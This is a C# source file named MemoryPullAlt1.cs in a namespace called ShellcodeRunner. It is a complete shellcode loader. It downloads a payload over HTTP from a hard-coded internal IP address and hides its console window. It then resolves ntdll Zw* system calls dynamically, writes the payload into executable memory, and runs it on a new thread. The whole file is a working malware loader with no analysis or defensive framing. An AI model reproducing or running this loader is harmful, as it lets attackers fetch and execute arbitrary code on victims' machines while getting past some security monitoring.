MemoryPullAlt1.cs 4.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
  1. using System;
  2. using System.Net;
  3. using System.Runtime.InteropServices;
  4. namespace ShellcodeRunner
  5. {
  6. class Program
  7. {
  8. const uint MEM_COMMIT = 0x00001000;
  9. const uint MEM_RESERVE = 0x00002000;
  10. const uint PAGE_EXECUTE_READWRITE = 0x40;
  11. const uint CREATE_SUSPENDED = 0x00000004;
  12. const uint WAIT_INFINITE = 0xFFFFFFFF;
  13. delegate int ZwAllocateVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect);
  14. delegate int ZwFreeVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint FreeType);
  15. delegate int ZwCreateThreadExDelegate(out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Argument, uint CreateFlags, uint ZeroBits, uint StackSize, uint MaximumStackSize, IntPtr AttributeList);
  16. delegate int ZwWaitForSingleObjectDelegate(IntPtr Handle, bool Alertable, IntPtr Timeout);
  17. delegate int ZwProtectVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, out uint OldProtect);
  18. static void Main(string[] args)
  19. {
  20. WebClient client = new WebClient();
  21. string url = "http://192.168.1.30:8080/code.txt";
  22. byte[] shellcode = client.DownloadData(url);
  23. IntPtr ntdllModule = LoadLibrary("ntdll.dll");
  24. IntPtr zwAllocateVirtualMemoryAddr = GetProcAddress(ntdllModule, "ZwAllocateVirtualMemory");
  25. IntPtr zwFreeVirtualMemoryAddr = GetProcAddress(ntdllModule, "ZwFreeVirtualMemory");
  26. IntPtr zwCreateThreadExAddr = GetProcAddress(ntdllModule, "ZwCreateThreadEx");
  27. IntPtr zwWaitForSingleObjectAddr = GetProcAddress(ntdllModule, "ZwWaitForSingleObject");
  28. IntPtr zwProtectVirtualMemoryAddr = GetProcAddress(ntdllModule, "ZwProtectVirtualMemory");
  29. var zwAllocateVirtualMemory = (ZwAllocateVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(zwAllocateVirtualMemoryAddr, typeof(ZwAllocateVirtualMemoryDelegate));
  30. var zwFreeVirtualMemory = (ZwFreeVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(zwFreeVirtualMemoryAddr, typeof(ZwFreeVirtualMemoryDelegate));
  31. var zwCreateThreadEx = (ZwCreateThreadExDelegate)Marshal.GetDelegateForFunctionPointer(zwCreateThreadExAddr, typeof(ZwCreateThreadExDelegate));
  32. var zwWaitForSingleObject = (ZwWaitForSingleObjectDelegate)Marshal.GetDelegateForFunctionPointer(zwWaitForSingleObjectAddr, typeof(ZwWaitForSingleObjectDelegate));
  33. var zwProtectVirtualMemory = (ZwProtectVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(zwProtectVirtualMemoryAddr, typeof(ZwProtectVirtualMemoryDelegate));
  34. FreeConsole();
  35. IntPtr allocMemAddress = IntPtr.Zero;
  36. IntPtr size = (IntPtr)shellcode.Length;
  37. int status = zwAllocateVirtualMemory(GetCurrentProcess(), ref allocMemAddress, IntPtr.Zero, ref size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  38. if (status != 0)
  39. {
  40. Console.WriteLine($"ZwAllocateVirtualMemory failed with error code: {status}");
  41. return;
  42. }
  43. Marshal.Copy(shellcode, 0, allocMemAddress, shellcode.Length);
  44. uint oldProtect = 0;
  45. status = zwProtectVirtualMemory(GetCurrentProcess(), ref allocMemAddress, ref size, PAGE_EXECUTE_READWRITE, out oldProtect);
  46. if (status != 0)
  47. {
  48. Console.WriteLine($"ZwProtectVirtualMemory failed with error code: {status}");
  49. return;
  50. }
  51. IntPtr threadHandle = IntPtr.Zero;
  52. status = zwCreateThreadEx(out threadHandle, 0x1FFFFF, IntPtr.Zero, GetCurrentProcess(), allocMemAddress, IntPtr.Zero, 0, 0, 0, 0, IntPtr.Zero);
  53. if (status != 0)
  54. {
  55. Console.WriteLine($"ZwCreateThreadEx failed with error code: {status}");
  56. return;
  57. }
  58. zwWaitForSingleObject(threadHandle, false, IntPtr.Zero);
  59. status = zwFreeVirtualMemory(GetCurrentProcess(), ref allocMemAddress, ref size, 0x8000);
  60. if (status != 0)
  61. {
  62. Console.WriteLine($"ZwFreeVirtualMemory failed with error code: {status}");
  63. return;
  64. }
  65. Console.WriteLine("Shellcode executed");
  66. }
  67. [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  68. static extern bool FreeConsole();
  69. [DllImport("kernel32.dll")]
  70. static extern IntPtr GetCurrentProcess();
  71. [DllImport("kernel32.dll", SetLastError = true)]
  72. static extern IntPtr LoadLibrary(string lpFileName);
  73. [DllImport("kernel32.dll", SetLastError = true)]
  74. static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  75. }
  76. }